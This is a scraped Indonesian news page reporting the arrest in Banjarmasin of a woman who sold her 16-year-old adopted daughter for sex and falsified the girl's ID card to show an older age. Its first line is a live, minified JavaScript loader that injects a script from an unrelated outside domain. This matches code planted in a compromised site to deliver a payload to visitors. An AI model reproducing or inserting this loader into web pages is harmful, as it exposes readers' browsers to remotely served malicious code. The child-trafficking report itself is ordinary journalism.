(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Jajaran Satreskrim Polresta Banjarmasin berhasil menggagalkan upaya perdagangan manusia, berhasil diungkap pada Rabu (9/10) kemarin.
Diketahui, seorang ibu paruh baya berinisial E (57), warga Jalan Sungai Mesa Gang 2 Banjarmasin, tega menjual anak angkatnya yang berinsial DI (16). E sendiri, diamankan aparat kepolisian di kawasan Pasar Sudimampir Banjarmasin.
“Kita mendapatkan laporan dari masyarakat bahwa pelaku sering menjual anaknya. Yang bersangkutan mengaku sebagai ibu angkat,†kata Kasatreskrim Polresta Banjarmasin AKP Ade Papa Rihi dalam keterangan persnya, Kamis (10/10) siang.
AKP Ade menegaskan, anak yang dijual oleh pelaku E bukanlah anak kandung. Melainkan adalah anak angkat yang sejak kecil telah ditanggung biaya hidupnya. “Sudah tinggal bersama dia semenjak kecil,†tegasnya.
Pelaku E sendiri, setelah dicurigai gerak geriknya, dilaporkan masyarakat ke Polsek Banjarmasin Utara dan berkoordinasi dengan Satreskrim di bawah Unit PPA. “Setelah kita lakukan pemeriksaan, bahwa dia menjual anaknya sejak 2 tahun lalu semenjak anak ini berusia 14 tahun,†kata AKP Ade.
Modusnya, E menjual DI kepada laki-laki hidung belang dengan tarif antara Rp250 ribu hingga Rp1 juta. Selain itu, E juga diketahui memanipulasi KTP milik DI untuk mengecoh aparat Satpol PP Kota Banjarmasin jika ada pemeriksaan.
“Dia bekerjasama dengan calo pembuatan KTP dan masih didalami, jadi usia DI yang tadinya 16 tahun dibuat usianya naik jadi 19 tahun atau dituakan,†ungkapnya.
Adapun pasal yang dikenakan kepada pelaku E, yaitu pasal 2 ayat 1 UU Nomor 21 Tahun 2007 tentang Pemberantasan Perdagangan Orang dan Pasal 83 UU Nomor 35 Tahun 2014 tentang Perlindungan Anak. “Ancaman pidana paling singkat 3 tahun dan paling lama 15 tahun,†tutup AKP Ade. (fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.